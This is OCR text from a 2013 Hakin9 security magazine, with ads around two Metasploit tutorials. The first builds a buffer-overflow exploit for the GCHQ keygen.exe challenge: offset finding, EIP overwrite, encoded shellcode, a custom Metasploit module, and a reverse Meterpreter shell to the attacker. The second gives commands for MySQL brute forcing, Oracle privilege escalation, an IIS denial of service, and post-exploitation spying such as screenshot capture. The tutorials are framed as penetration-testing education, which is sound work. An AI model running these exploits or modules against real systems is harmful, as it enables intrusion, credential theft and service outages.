Guglielmo Scaiola can be contacted at s0ftwar@
miproparma.com
For many years, Joe Weiss has been
sounding the alarm regarding the potential
adverse impact of the law of unintended
consequences on the evolving convergence
between industrial control systems
technology and information technology. In
this informative book, he makes a strong
case regarding the need for situational
awareness, analytical thinking, dedicated
personnel resources with appropriate
training, and technical excellence when
attempting to protect industrial process
controls and SCADA systems from potential
malicious or inadvertent cyber incidents.
DAVE RAHN, Registered Professional
Engineer, with 35 years experience.
FOR INTERNATIONAL ORDERS:
McGraw-Hill Professional
www.mcgraw-hill.co.uk
PHONE: 44 (0)1628 502700
FOR US ORDERS:
www.momentumpress.net
PHONE 800.689.2432
134
TOOLS
TBO 01/2013
How to Bend
Metasploit to Your Will
Most articles on Metasploit cover what it is, what it does and how
to use it. Essentially you can find out how to scan for vulnerable
systems followed by how to select, configure and deploy an exploit
against a vulnerable system.
T
hese are indispensable skills to anyone who
wishes to use the framework in any capacity.
The purpose of this article is to give those in-
terested an insight into how to extend Metasploit to
suit their own specific needs. This extensibility is
where Metasploit is leagues ahead of the compet-
ing frameworks currently available.
The Metasploit framework is Open Source which
allows anyone to change the framework in what-
ever way they see fit. This may be as simple as
adding debug strings to existing exploit modules
right up to creating a brand new exploit module for
a specific exploit. Penetration testing is not an ex-
act science and good testers are required to adapt
to specific situations on a daily basis. For example,
exploits may not work out-of-the-box and require
investigation, debugging and possibly customisa-
tion of exploits to successfully compromise the tar-
get systems. Closed source commercial toolkits
leave their users at the mercy of the quality of the
exploits that are shipped with their frameworks; an
exploit will either work or not and there is nothing
the tester can do to adapt to these situations us-
ing commercial tools. Metasploit places this power
back into the hands of those willing to take it.
This article is not about going through what
Metasploit is, or how to use the framework; its pur-
pose is to give those looking to get more out of
Metasploit a start into how they can extend the
framework for their own needs. To illustrate this
process this article will cover not only whats re-
quired to create an exploit module for the frame-
work but will cover the entire process of creating a
custom exploit for a vulnerability in a piece of soft-
ware, right through to creating a custom module
for the Metasploit framework.
The exploit development process will discuss the
following tools:
IDA Interactive Disassembler
OllyDbg Open source debugger for windows
pattern_create.rb Used to create a string
where no substring appears more than once in
the string. More details on this later in the article
pattern_offset.rb Used to fnd the offset of a
substring within the pattern created using the
above tool
Metasploit Needs no introduction; open
source penetration testing framework
There is enough to both IDA, OllyDbg and reverse
engineering techniques to warrant a series of ar-
ticles. For the purposes of this article only the re-
quired features and concepts will be presented.
Step 1 where is the vulnerability?
In order to examine the process a vulnerable ap-
plication is required. In 2011 the U.K. Government
Communications Headquarters (GCHQ) released
a challenge as part of a recruitment drive. Part 3
of that challenge was a key generation challenge.
In order to solve the challenge a license.txt file had
www.hakin9.org/en 135
to be created which would generate a URL. The
details of this challenge are well beyond the scope
of this article, but for those interested please visit:
http://www.canyoucrackit.co.uk.
(At the time of writing this file is still available
at: http://www.canyoucrackit.co.uk/da75370fe15c
4148bd4ceec861fbdaa5.exe)
The interesting aspect of this file is that it is vul-
nerable to a simple buffer-overflow vulnerability;
making it perfect to use for demonstration purpos-
es. Running the application presents the user with
the following: Figure 1.
Based on the returned message the program
requires a hostname in order to function proper-
ly. Trying with www.google.com for the hostname
gives the following message: Figure 2.
The application now requires a license.txt file.
Creating an arbitrary license.txt file returns the fol-
lowing message: Figure 3. This message gives
very little away. In order to proceed, the application
must be reverse engineered to find out what the
valid license.txt format must be. The loading rou-
tine of keygen.exe can be examined in IDA.
This screenshot shows where in the keygen.exe
binary the license.txt file is opened. First the string
license.txt is loaded onto the stack and then the
API _fopen64 is called: Figure 4.
If the file is successfully opened, the following
code attempts to read one line from the file us-
ing the API fscanf, highlighted in the image below.
The next thing the code does is check to see if the
line of text read from the file begins with the string
gchq: Figure 5.
If those conditions have been satisfied, keygen.
exe then uses the crypt API to encrypt the next 8
bytes using 56-bit DES. The result of this encryp-
tion operation is taken and is compared to: hqDT-
K7b8K2rvw.
The idea behind this part of the challenge was
to see if the plaintext used to create hqDTK7b-
8K2rvw. A decent password cracking utility will re-
cover the plaintext quite quickly. The plaintext is:
cyberwin (Figure 6).
Based on the analysis, the string in the license.
txt file must take the following format:
gchqcyber wi n[ l i cense_dat a] wher e [ l i cense_dat a]
Figure 5. Check for qchq
Figure 4. license.txt loaded and API_fopen64 called
Figure 3. Creating txt fle
Figure 2. Hostname with google
Figure 1. Run the application
Figure 6. The recovery of the plaintext
Figure 7. Code loading the line from the license.txt fle
136
TOOLS
TBO 01/2013
will be used by keygen.exe to construct a
URL. Constructing the correct URL solves the
challenge.
Enough analysis, wheres the exploit!?
Take another look at the piece of code that loads
the line from the license.txt file: Figure 7.
You may have noticed that there is a buffer over-
flow in the code used to load in the contents of
the license.txt file. At this point the discussion will
move away from the GCHQ challenge and back
to exploit development and the Metasploit frame-
work. The rest of the article will focus on the buffer
overflow above and whats involved in exploiting it.
A closer look at the vulnerability...
The code that loads the line from the file can be
broken down into two components. First it creates
memory on the stack to hold the information from the
file; secondly it reads the data suing the fscanf call.
This is the code that creates enough room on the
stack to read 24 bytes from the file: Figure 8.
This is followed by the fscanf call. Fscanf will
read a string from a file until it hits a null-termina-
tor \0 or a new-line type character. As there is no
bounds, checking a line longer than 24 bytes will
exceed the buffer size and result in unpredictable
behaviour from the program. Heres the output
from loading a license.txt file containing (Figure 9):
gchqcyber wi nHACKI N9HACKI N9HACKI N9HACKI N9HACKI N9
HACKI N9HACKI N9HACKI N9! ! !
Corrupted stack? Although the string is only
slightly longer than the allocated buffer the integ-
rity of the stack has been corrupted by user sup-
plied input causing the application to crash. Excel-
lent, user supplied input has corrupted the stack,
is it now possible to gain control over execution?
I want my E.I.P.
Its now time to use a debugger to find out exactly
what is going on internally when the contents of
Figure 9. The output from loading a license.txt
Figure 8. Read 24 bytes from the fle thanks to the code
Figure 11. Execture the program
Figure 10. Create a breakpoint
Figure 13. Create a breakpoint
Figure 12. Loading the data in
www.hakin9.org/en 137
the malicious license.txt file are loaded. Open the
file in OllyDbg and go to address 0x401150 with-
in the file. This is where the fscanf API is located.
Create a breakpoint at this address (Press F2) to
suspend execution when the program reaches that
point during execution: Figure 10.
After creating the breakpoint execute the pro-
gram (Press F9). The important part of the output
at this point is the stack: Figure 11.
The stack is in a typical state right before a
function call. Notice the highlighted item above.
This is a return address that will be used by the
program when it exits out of a function and the
program executes a RETN instruction. When the
RETN instruction is encountered the CPU will
load the next DWORD on the stack into the in-
struction pointer (EIP) and execution will continue
from that point.
Step over (Press F2) the fscanf call to see what
happens when the program loads in the data from
the license.txt file: Figure 12.
Comparing the two previous screenshots shows
that data in the license.txt file has overwritten a lo-
cation on the stack that originally stored a return
address. Continue execution until the end of the
function to the next RETN instruction to see if the
contents of the license string can be used to over-
write the EIP. The address of the return instruction
is 0x401208. Create a breakpoint and let the pro-
gram run to this point (Press F9): Figure 13.
Unfortunately, the execution never reaches the
RETN instruction as the program encounters an
Access Violation Error: Figure 14.
It seems that the contents of the license file have
corrupted execution in an unexpected way. Restart
the program (CTRL+F2) and find out where the
program is failing. Stepping through the program
in the debugger reveals the cause of the issue.
The address on the stack at location: 0x22CCD4
has been corrupted by part of the attack string.
As a result the program terminates before we can
gain control over execution. The DWORD at ad-
dress 0x22CCD4 contains bytes from our attack
string: Figure 15.
The following code within keygen.exe uses the
address it reads off the stack, to reference another
part of the program: Figure 16.
As this reference points to an unknown address
(0x00212121) in the program, it results in the ac-
cess violation shown earlier.
To fix this, two details must be known:
What the address should be under normal
execution
The exact location in the attack string that cor-
rupts the address in the stack
Find out what the address should be under
normal execution
To find out what the address should be add a break-
point at 0x4011F1. As shown here: Figure 17.
Change the license.txt file so that the string is no
longer than 24 bytes. This will prevent corrupting
the stack. Execute the program to the breakpoint
at address 0x4011F1 that was created in the pre-
Figure 16. keygen.exe reads the address of the stack
Figure 15. Bytes from the attack string
Figure 14. Access Violation Error
Figure 18. DWORD on the stack
Figure 17. Add a breakpoint at 0x4011F1
138
TOOLS
TBO 01/2013
vious step. Viewing the data on the stack at ad-
dress 0x22CCD4 now shows what the contents
of the corrupted region of the stack should be un-
der normal operations. In this case the DWORD
0x104383F8 should be on the stack: Figure 18.
Note: If you are following along, the exact ad-
dress may be different so make sure you check all
the details!
The attack string will need to preserve this infor-
mation to ensure the program operates correctly
when processing the malicious payload. The cor-
rect contents are known but the location in the at-
tack string is not yet clear. The next section will dis-
cuss the Metasploit of finding particular locations
within attack strings.
Find the exact location in the attack string
that corrupts the address in the stack
The Metasploit framework provides two extremely
useful tools which help in finding the exact location
in the attack string that overwrite particular loca-
tions in memory. These are:
pattern_create.rb
pattern_offset.rb
Pattern_create.rb creates a string where two or
more characters are not repeated anywhere else
in the string. The following screenshot shows cre-
ating a pattern 1024 bytes in length, and then us-
ing pattern_offset.rb to fnd the exact offset of the
characters: 8Ab9 (Figure 19).
This can be used to find out critical locations in
the attack string for this example. Create a license.
txt file with the following string:
gchqcyber wi nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A
b2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac
8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4
Ae5Ae6Ae7Ae8Ae9Af 0Af 1Af 2Af 3Af 4Af 5Af 6Af 7Af 8Af 9Ag0A
g1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah
7Ah8Ah9Ai 0Ai 1Ai 2Ai 3Ai 4A
Running the program shows that contents at ad-
dress are overwritten by the string: 8Ab9 (high-
lighted in red above; Figure 20).
Using pattern_offset.rb can then be used to show
that the offset of this location in the attack string is
56 bytes into the string: Figure 21
Fix the attack string
Armed with this information the attack string can
be repaired to prevent crashing the program be-
fore gaining control over execution. Using a hex-
editor replace the string 8Ab9 with the correct ad-
dress obtained above: Figure 22.
The bytes are placed into the file in reverse or-
der as the architecture is little-endian. Running the
program again now shows the following: Figure 23.
As the highlight section shows the correct in-
formation is loaded at the correct location on the
stack. The program no longer crashes and can run
to the end of the function to the RETN instruction
shown here: Figure 24.
This image also shows the stack. When a RETN
instruction is encountered the CPU will pop the
Figure 20. Conthents overwritten by the string: 8Ab9
Figure 19. Find the ofset
Figure 22. Replace 8Ab9 with the correct address
Figure 21. Use pattern_ofset.rb
www.hakin9.org/en 139
next DWORD, known as the return address, off the
stack and load it into the instruction pointer (EIP).
This is the key requirement in gaining control over
execution when exploiting buffer overflow vulner-
abilities. The attack string must overwrite this in-
formation on the stack to a location in memory that
contains the shellcode.
In this case the part of the attack string that over-
writes this key piece of information is: 0x41623641
or Ab6A. The exact location of this string can be
found using the technique described above.
If the RETN instruction is executed the pro-
gram will attempt to continue execution from
0x41366241, as shown here: Figure 25.
As there is no code at this address the program
will crash.
The attack string, which is under our control, is
loaded onto the stack. In order to execute arbi-
trary code, all that is now required is loading shell-
code onto the stack and redirecting execution to
the shellcode located on the stack by overwriting
the EIP as shown above. Reviewing the stack in
OllyDbg choose a location nearer the end of the
current attack string. For demonstration purposes
0x0022CD6C was chosen.
First shellcode...
To confirm execution is working change the shell-
code to be a series of NOP (0x90) instructions fol-
lowed by an INT3 (0xCC) instruction. The INT3
instruction is a trap to the debugger to halt execu-
tion. Make sure that changes to the attack string
are made after the addresses used to fix the attack
string in the earlier section. The next image shows
the updated license file with the new EIP, NOP and
INT3 instructions (Figure 26).
Running the keygen program as far as the RETN
instruction shows that the return address is now
0x0022CD32, the location of the shellcode on the
stack. This is illustrated here: Figure 27.
Figure 24. RETN
Figure 23. Run the program again
Figure 27. The location of the shellcode on the stack
Figure 26. New EIP, NOP and INT3 instructi
Figure 25. Execution from 0x41366241
140
TOOLS
TBO 01/2013
Stepping past the RETN instruction shows that
the CPU now executes the NOP instructions as far
as the INT3 instruction: Figure 28.
This has confirmed that gaining control over ex-
ecution is possible by crafting the contents of the
license.txt file.
Deliver a payload...
The next step is to have Metasploit generate
some useful shellcode for use in the exploit. In
order to do this the Metasploit framework pro-
vides yet another tool: msfpayload. This can be
used to generate the shellcode for any payload
that is available in the Metasploit framework. Use
msfpayload to search for a particular payload
(Figure 29):
msf payl oad - l | gr ep - i exec
Then use it to generate the shellcode (Figure 30):
msf payl oad wi ndows/ exec CMD=cal c. exe P
In its current format this payload will not work in
our exploit. Earlier it was noted that fscanf will
read one line of text. Special characters like 0x0a,
0x0c, 0x0d, 0x20 will cause fscanf to stop read-
ing the exploit code and break execution. Fortu-
nately Metasploit also assists with getting around
this type of restriction. Msfpayload can be used in
combination with msfencode and tell it not to use
particular characters.
In this case, the following command will generate
shellcode that will work with the fscanf API:
Figure 31. The output of the command
Figure 30. Generate the shellcode
Figure 29. USE msfpayload to fnd a payload
Figure 28. CPU executes NOP and INT3
Figure 33. Test your exploit
Figure 32. Use hex code
www.hakin9.org/en 141
- msf payl oad wi ndows/ exec CMD=cal c. exe R |
msf encode - b \ x0a\ x0c\ x0d\ x20
The output of this command is: Figure 31.
This is then added to the shellcode using the hex
editor: Figure 32.
The next test is to test our exploit: Figure 33.
Great, it works! The maliciously crafted license.
txt file can execute calc.exe!
All wrapped up in a nice little module...
Ok, at this stage all of the information required to
create a working exploit is available. The next step
is to abstract this exploit into a Metasploit module
in order to use it in the framework and benefit from
all of the features the framework provides.
The best way to find out how to create exploit
is to review the existing exploit modules. In this
case our module needs to create a file which will
contain the exploit and payload. In order to cre-
ate the module the foxit_title_bof.rb exploit mod-
ule was used as a template. All of the exploit mod-
ules (on backtrack) are located in the folder: /opt/
metasploit/msf3/modules/exploits. In this directo-
ry the exploits are organised by operating system
and then by software or type. As this is a fileformat
type exploit for the windows platform the new ex-
ploit module will be located in:
/opt/metasploit/msf3/modules/exploits/windows/fleformat
This is where the foxit_title_bof.rb module was
taken from. All of the foxit specifc functionality
was stripped out to leave a minimal skeleton mod-
ule: Figure 34.
This module has the bare minimum required to
function as an exploit module: initialize and exploit.
The initialize function sets up the exploit module
and contains the information that is seen when the
info command is used against a module. It is al-
so used to register options to allow configuration
using msfconsole. Most of the information above
is for informational purposes only, for example:
name, description, version, etc. however, the Pay-
load section contains configuration options for the
payload. In this case the BadChars option is used
to ensure that Metasploit encodes the payload ap-
propriately and does not use characters that will
break the exploit. The does the same job as ms-
fencode did earlier in the article. The exploit func-
tion is called when the exploit command is issued.
Figure 37. Code the exploit
Figure 36. Confgure the module
Figure 35. Issue gchq command
Figure 34. Skeleton module
Figure 38. Issue the exploit command
142
TOOLS
TBO 01/2013
As the image shows this is currently empty and
will not do anything in its current state. Saving the
module as it is in the location:
/ opt / met aspl oi t / msf 3/ modul es/ expl oi t s/ wi ndows/
f i l ef or mat / gchq_l i cense_bof . r b
will ensure that it is loaded by the framework the
next time the Metasploit is started. To confrm
simply start msfconsole and issue the search
gchq command as shown here: Figure 35.
This module can now be configured in the same
way as any other module in the framework, for ex-
ample: Figure 36.
This looks good but the exploit module is not yet
configured to do anything.
Add the exploit code
The last step is to tell the module what to do when
the exploit command is issued. In this case coding
the exploit function is very simple: Figure 37.
First of the all the code creates a license stub.
This is the same license stub that was used earlier
in the hex editor.
Next, add the payload to the licence stub. This
is achieved by simply using the Metasploit func-
tion payload.encoded. This function transparently
generates and encodes the payload which is then
appended to the stub as shown above.
Lastly the file_create function is used to write the
newly created malicious file to the disk.
It really is as simple as that, in this case a work-
ing exploit module can be create using three com-
mands. The framework makes exploit develop-
ment so much easier.
Test the exploit
Load and configure the module as before and now
issue the exploit command: Figure 38.
As shown here a file is create in /root/.msf4/local/
license.txt The contents of the created file look like
this: Figure 39.
Copy this file to the test system and run it through
leygen.exe again (Figure 40).
As the screenshot shows the calc.exe is execut-
ed when keygen.exe opens the created license.txt
file.
Power of the framework...
Now that the exploit module has been abstracted
its time to use the framework to deploy a far more
interesting payload than showing a calculator! For
this purpose, the payload windows/meterpreter/re-
verse_tcp is used. Reconfigure the exploit module
like so: Figure 41. Start up a handler on the server
(attackers) side (Figure 42):
expl oi t / mul t i / handl er
Figure 43. Connect back to the waiting Metasploit session on
the attackers side
Figure 42. Start up a handler on the server
Figure 41. Reconfgure the exploit module
Figure 40. Run the fle through leygen.exe
Figure 39. The content of the fle
a d v e r t i s e m e n t

140+ Checklists, tools & guidance

150 Local chapters

20,000 builders, breakers and defenders

Citations: NSA, DHS, PCI, NIST, FFIEC, CSA, CIS, DISA, ENISA and more..
Learn More: http://www.owasp.org
OWASP Foundation
We help protect critical infrastructure one byte at a time
Note: no handler was created in the module so
it has to be manually started. This time when
the exploit is deployed a reverse Meterpreter
shell is created which connects back the waiting
Metasploit session on the attackers side: Figure
43. This gives shell access to the victims system
and the attackers job is complete! At this point
the attacker can leverage the full power of the
Metasploit framework on the victims system.
Conclusions
Hopefully this article has been able to convey just
how much power the Metasploit framework places
in your hands. The framework is not simply limited
to the quality of the content it ships with, for those
willing to get their hands dirty any component of the
framework can be changed to suit a specific situa-
tion. The article covered creating a custom exploit
and abstracting it into its own module. The example
used is a basic buffer overflow used but there are
far more sophisticated exploit modules using vari-
ous techniques such as return-oriented-program-
ming, written by some of the best minds in the in-
a d v e r t i s e m e n t

140+ Checklists, tools & guidance

150 Local chapters

20,000 builders, breakers and defenders

Citations: NSA, DHS, PCI, NIST, FFIEC, CSA, CIS, DISA, ENISA and more..
Learn More: http://www.owasp.org
OWASP Foundation
We help protect critical infrastructure one byte at a time
dustry. There is a wealth of knowledge in the exploit
database just waiting for the curious to explore. This
article is just the beginning of whats possible with
Metasploit, every single part of the Framework can
be changed to suit your specific needs. Dont be
afraid of the internals of the framework; let your cu-
riosity get the better of you and just dive in.
Note: Remember hacking in all its forms is illegal!
So unless you have written permission to try an ex-
ploit against a system dont do it! The penalties are
real and severe. Have fun and dont be stupid!
Acknowledgments
Thanks to my wife Jean for putting up with me ignoring
her to write this and all of my other endeavours and my
brother Brian for being kind enough to review it for me!
Remember, winter is coming.
PATRICK FITZGERALD
Patrick Fitzgerald works in Dublin, Ireland as an Infor-
mation Security Consultant for Ward Solutions
LinkedIn: ie.linkedin.com/pub/patrick-ftzgerald/4/911/529
Twitter: @misterftzy
144
TOOLS
TBO 01/2013
How to Work with
Metasploit Auxiliary Modules
The Metasploit framework is based on a modular architecture. This
means that all the exploits, payloads, encoders etc. are present in the
form of modules. The biggest advantage of a modular architecture
is that it is easier to extend the functionality of the framework based
on requirement.
A
ny programmer can develop his own mod-
ule and port it easily into the framework.
Even though modules are not very much
talked about while working with metasploit, but
they form the crux of the framework so it is essen-
tial to have a deep understanding of it.
In this tutorial we will particularly focus on /
framework3/modules directory which contains a
complete list of useful modules which can ease
up our task of penetration testing. Later in the
chapter we will also analyse some of the exist-
ing modules and finally conclude the discussion
by learning how to develop our own modules for
metasploit. So let us start our experiments with
modules.
Working with Scanner Modules
Let us begin our experimentation with scanner
modules. We will start with scanning modules
which ships with the framework. Even though
nmap is a powerful scanning tool but still there can
be situations where we have to perform a specific
type of scan like scanning for presence of mysql
database etc.
Metasploit provides us a complete list of such
useful scanners. Let us move ahead and practi-
cally implement some of them. To find the list of
available scanners we can browse to /framework3/
modules/auxiliary/scanner.
You can find a collection of more than 35 useful
scan modules which can be used under various
penetration testing scenarios. Let us start with a
basic HTTP scanner. You will see that there are
lots of different HTTP scan options available. We
will discuss few of them here.
Consider the di r _scanner scr i pt . This will scan
a single host or a complete range of network to
look for interesting directory listings that can be
further explored to gather information.
To start using an auxiliary module, we will have
to perform following steps in our msfconsole:
msf > use auxi l i ar y/ scanner / ht t p/ di r _scanner
msf auxi l i ar y( di r _scanner ) > show opt i ons
Module options:
The show options command will list all the
available optional parameters that you can pass
along with the scanner module. The most im-
portant one is the RHOSTS parameter which
will help us in targeting either a single user or a
range of hosts.
Let us discuss a specific scanner module in-
volving some extra inputs. The mysql _l ogi n scan-
ner module is a brute force module which scans
for the availability of Mysql server on the target
and tries to login to the database by brute force
attacking it.
msf > use auxi l i ar y/ scanner / mysql / mysql _l ogi n
msf auxi l i ar y( mysql _l ogi n) > show opt i ons
Does you organization implement Cyber Security Solutions? Would you like to learn
from industry peers on how they do this? Do you have a solution that you would like to
present in front of the biggest industry minds?
The CSS will bring together key corporate security decision makers to discuss the
strategic priorities, potential risk factors and threats. Together, they will provide you
with inspirational guidance on how industry experts respond to these denunciatory
challenges.
Why should you attend?
n Gain an insight into the IT incidents
n Understandt how nations premier companies are improving
their cyber security
n Address your questions to the best experts
n Find out how secure you are and what level and form of attack
could come in to you
n Review your level of security and readiness for penetration
n Align your security strategy with critical business and corporate
goals
n Obtain the latest update on state of art in digital treats in cyber
underground
n Utilize the full potential of cyber security
n Learn how to information awareness can minimize your risk
n HOT TOPIC: Banking Malware and Threats
What distinguishes this event?
CSS is not a typical summit focused on government agencies.
The light is shed on coping with cyber risk in the enterprise
world. Building on the success of our previous events,
the distinguishing features of this unique format are:
n One of the best experts in the world answers your question
and provide their in-depth know-how
n Unique mix of 15 presentations, practical sessions, key studies
n Exclusive senior-level attendance
n Practical and up-to-date studies and solutions
n Customized itineraries
n EBCG ThinkTank sessions - who knows your business better
than your peers
Special Offer
in cooperation with:
(Discount code: HknIT)
11
th
& 12
th
April 2013, PRAGUE
4 Ways
to contact
us:
Tel.: +421 2 3220 2200
Fax: +421 2 3220 2222
e-mail: event@ebcg.biz
web: www.ebcg.biz
20% off!
CSS 210x297.indd 1 1/10/2013 9:56:56 PM
146
TOOLS
TBO 01/2013
Module options (auxi l i ar y/ scanner / mysql / mysql
_ l ogi n): Listing 1.
AS you can see there are lots of different param-
eters that we can pass to this module. The better
we leverage the powers of a module, the greater
are our chances of successful penetration testing.
We can provide a complete list of username and
password which the module can use and try on the
target machine. Let us provide this information to
the module.
msf auxi l i ar y( mysql _l ogi n) > set USER_FI LE / user s. t xt
USER_FI LE => / user s. t xt
msf auxi l i ar y( mysql _l ogi n) > set PASS_FI LE / pass. t xt
PASS_FI LE => / pass. t xt
Now we are ready to brute force. The last step will
be selecting the target and provide the run com-
mand to execute the module (Listing 2).
The output shows that the module starts the
process by first looking for the presence of mysql
server on the target. Once it has figured out, it
starts trying for the combinations of usernames
and password provided to it through external text
file. This is also one of the most widely used mod-
ular operations of metasploit in current scenario.
A lot of automated brute force modules have been
developed to break weak passwords.
Working With Admin Auxiliary modules
Moving ahead with our module experiment, we will
learn about some admin modules which can be re-
ally handy during penetration testing. The admin
modules can serve different purposes like it can
look for an admin panel, or it can try for admin login
etc. It depends upon the functionality of the mod-
ule. Here we will look at a simple admin auxiliary
module called mysql _enummodule.
The mysql _enummodule is a special utility mod-
ule for mysql database servers. This module pro-
vides simple enumeration of mysql databse serv-
er provided proper credentials are provided to
connect remotely. Let us understand it in detail
by using the module. We will start with launching
the msfconsole and providing the path for auxil-
iary module.
msf > use auxi l i ar y/ admi n/ mysql / mysql _enum
msf auxi l i ar y( mysql _enum) > show opt i ons
Module options (auxi l i ar y/ admi n/ mysql / mysql _
enum):
Listing 1. Module options
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BLANK_PASSWORDS t r ue yes Tr y bl ank pas. .
BRUTEFORCE_SPEED 5 yes How f ast t o. .
PASSWORD no A speci f i c passwor d
PASS_FI LE no Fi l e cont ai ni ng. .
RHOSTS yes The t ar get addr ess.
RPORT 3306 yes The t ar get por t . .
STOP_ON_SUCCESS f al se yes St op guessi ng
THREADS 1 yes The number of . .
USERNAME no A speci f i c user . .
USERPASS_FI LE no Fi l e cont ai ni ng. .
USER_FI LE no Fi l e cont ai ni ng. .
VERBOSE t r ue yes Whet her t o print. .
Listing 2. Running a command to execute the module
msf auxi l i ar y( mysql _l ogi n) > set RHOSTS 192. 168. 56. 101
RHOSTS => 192. 168. 56. 101
msf auxi l i ar y( mysql _l ogi n) > r un
[ *] 192. 168. 56. 101: 3306 - Found r emot e MySQL ver si on 5. 0. 51a
[ *] 192. 168. 56. 101: 3306 Tr yi ng user name: admi ni st r at or with passwor d:
www.hakin9.org/en 147
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PASSWORD no The passwor d f or t he. .
RHOST yes The t ar get addr ess
RPORT 3306 yes The t ar get por t
USERNAME no The user name t o. .
As you can see that the modules accepts pass-
word, username and RHOST as parameters. This
can help the module in frst searching for the exis-
tence of a mysql database and then apply the cre-
dentials to try for remote login. There are sever-
al similar modules available for other services like
MSSQL, Apache etc. The working process is sim-
ilar for most of the modules. Remember to use
the show options command in order to make sure
that you are passing the required parameters to
the module.
SQL Injection and DOS attack modules
Metasploit is friendly for both penetration testers
as well as hackers. The reason for this is that a
penetration tester has to think from hackers per-
spective in order to secure the network. The SQL
injection and DOS modules help penetration tes-
ters in attacking their own services in order to fig-
ure out if they are susceptible to such attacks. So
lets discuss some of these modules in detail. The
SQL injection modules use a known vulnerability
in the database type to exploit it and provide un-
authorized access. The modules can be found in
modul es/ auxi l i ar y/ sql i / or acl e.
Let us analyse an oracle vulnerability called Or-
acle DBMS_METADATA XML vulnerability. This vulner-
ability will escalate the privilege from DB_USER to
DBA (Database Administrator). We will be using
the dbms_met adat a_get _xml module.
msf auxi l i ar y( dbms_met adat a_get _xml ) > show
opt i ons
Module options (auxi l i ar y/ sql i / or acl e/ dbms _
met adat a _ get _ xml ):
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
DBPASS TI GER yes The passwor d t o. .
DBUSER SCOTT yes The user name t o. .
RHOST yes The Or acl e host .
RPORT 1521 yes The TNS por t .
SI D ORCL yes The si d t o
aut hent i cat e.
SQL GRANT DBA t o SCOTT no SQL t o execut e.
The module requests for similar parameters which
we have seen so far. The database frst checks
to login by using the default login credentials ie,
SCOTT and TIGER as the default username
and password respectively. This enables a DB_
User level login. Once the modules gains log-
in as a database user, it then executes the exploit
to escalate the privilege to the database adminis-
trator. Let us execute the module as a test run on
our target.
msf auxi l i ar y( dbms_met adat a_get _xml ) > set RHOST
192. 168. 56. 1
msf auxi l i ar y( dbms_met adat a_get _xml ) > set SQL YES
msf auxi l i ar y( dbms_met adat a_get _xml ) > r un
On successful execution of module, the user priv-
ilege will be escalated from DB _ USER to DB _
ADMI NI STRATOR.
The next module we will cover is related to De-
nial Of Service (DOS) attack. We will analyze a
Listing 3. Module options
Name Cur r ent Set t i ng Requi r ed Descr i pt i on
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
RHOST yes The t ar get addr ess
RPORT 80 yes The t ar get por t
URI / page. asp yes URI t o r equest
VHOST no The vi r t ual host name t o. .
msf auxi l i ar y( ms10_065_i i 6_asp_dos) > set RHOST 192. 168. 56. 1
RHOST => 192. 168. 56. 1
msf auxi l i ar y( ms10_065_i i 6_asp_dos) > r un
[ *] At t acki ng ht t p: / / 192. 168. 56. 1: 80/ page. asp
148
TOOLS
TBO 01/2013
simple IIS 6.0 vulnerability which allows the at-
tacker to crash the server by sending a POST
request containing more than 40000 request
parameters. We will analyze the vulnerability
shortly. This module has been tested on an un-
patched Windows 2003 server running IIS 6.0.
The module we will be using is ms10_065_i i 6_
asp_dos.
msf > use auxi l i ar y/ dos/ wi ndows/ ht t p/ ms10_065_i i 6_
asp_dos
msf auxi l i ar y( ms10_065_i i 6_asp_dos) > show opt i ons
Module options (auxi l i ar y/ dos/ wi ndows/ ht t p/
ms10 _ 065 _ i i 6 _ asp _ dos): Listing 3.
Once the module is executed using the run com-
mand, it will start attacking the target IIS server
by sending HTTP request on port 80 with URI as
page.asp. Successful execution of the module
will lead to complete denial of service of the IIS
server.
Post Exploitation Modules
We also have a separate dedicated list of modules
that can enhance our post-exploitation penetration
testing experience. Since they are post exploita-
tion modules so we will need an active session
with our target. Here we are using an unpatched
Windows 7 machine as our target with an active
meterpreter session.
You can locate the post modules in modul es/
post / wi ndows/ gat her . Let us start with a si mpl e
enum_l ogged_on_user s module. This post module
will list the current logged in users in the windows
machine.
We will execute the module through our active
meterpreter session. Also keep in mind to escalate
the privilege using getsystem command in order
to avoid any errors during the execution of module
(Listing 4).
Successful execution of module shows us two
tables. The first table reflects the currently logged
on user and the second table reflects the recently
Listing 4. The Osage of getsystem command
met er pr et er > get syst em
. . . got syst em( vi a t echni que 4) .
met er pr et er > r un post / wi ndows/ gat her / enum_l ogged_on_user s
[ *] Runni ng agai nst sessi on 1
Cur r ent Logged User s
====================
SI D User
- - - - - - -
S- 1- 5- 21- 2350281388- 457184790- 407941598 DARKLORD- PC\ DARKLORD
Recent l y Logged User s
=====================
SI D Pr of i l e Pat h
- - - - - - - - - - - - - - -
S- 1- 5- 18 %syst emr oot %\ syst em32\ conf i g\ syst empr of i l e
S- 1- 5- 19 C: \ Wi ndows\ Ser vi cePr of i l es\ Local Ser vi ce
S- 1- 5- 20 C: \ Wi ndows\ Ser vi cePr of i l es\ Net wor kSer vi ce
S- 1- 5- 21- 23502 C: \ User s\ DARKLORD
S- 1- 5- 21- 235 C: \ User s\ Wi nuser
www.hakin9.org/en 149
logged on user. Follow the correct path while ex-
ecuting the modules. We have used the run com-
mand to execute the modules as they are all in
form of ruby script so meterpreter can easily iden-
tify it.
Let us take one more example. There is an in-
teresting post module that captures a screen-
shot of the target desktop. This module can be
useful when we have to know whether there is
any active user or not. The module we will use is
scr een_spy. r b.
met er pr et er > r un post / wi ndows/ gat her / scr een_spy
[ *] Mi gr at i ng t o expl or er . exe pi d: 1104
[ *] Mi gr at i on successf ul
[ *] Capt ur i ng 60 scr eenshot s wi t h a del ay of 5
seconds
You might have noticed how easy and useful
post modules can be. In the coming future, the
developers of metasploit will be focusing more
on post modules rather than meterpreter as it
greatly enhances the functionality of penetration
